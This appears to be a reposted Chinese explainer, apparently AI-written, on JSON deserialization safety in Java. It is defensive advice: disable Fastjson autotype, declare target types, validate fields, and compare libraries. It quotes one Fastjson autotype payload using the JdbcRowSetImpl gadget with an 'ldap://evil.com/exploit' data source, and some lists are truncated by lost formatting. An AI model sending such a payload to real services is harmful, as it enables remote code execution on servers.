简单回答:Java 里用 JSON 本身“不算不安全”,但“用得不对就很危险”。JSON 只是一种数据格式,安不安全取决于解析库、使用方式、数据来源。
下面从几个关键角度说清楚。
JSON 本身只是文本格式:
{
"name": "Tom",
"age": 18
}
✅ 它不会自动执行代码
❌ 但它只是数据载体,不代表安全
如果你把不可信 JSON直接转成 Java 对象:
Object obj = JSON.parseObject(json, Object.class);
或者使用某些“自动类型”功能(如 Fastjson 的 autotype):
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://evil.com/exploit",
"autoCommit": true
}
⚠️ 这可能导致:
✅ 安全做法:
autotypeUser user = JSON.parseObject(json, User.class);
如果 JSON 里有你没预期字段,可能被忽略或覆盖。
✅ 建议:
某些 XML/JSON 混合解析器可能受 XXE 影响,但标准 JSON 库一般没问题。
即使 JSON 安全解析,也可能有:
role=admin)| 库 | 安全性 | 说明 |
|---|---|---|
| Jackson | ✅ 推荐 | 默认安全,社区活跃 |
| Gson | ✅ 推荐 | 简单安全 |
| Fastjson | ⚠️ 谨慎 | 老版本有重大漏洞 |
| Fastjson2 | ✅ 改进 | 比旧版安全 |
✅ 永远不要信任外部 JSON
✅ 明确指定反序列化类型
✅ 禁用自动类型(autotype)
✅ 使用最新版本库
✅ 对字段做校验(非空、范围、格式)
✅ 不在 JSON 里传权限/角色信息
Java 中的 JSON 本身不危险,危险的是“把不可信 JSON 直接变成 Java 对象”。
如果你愿意,我可以:
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。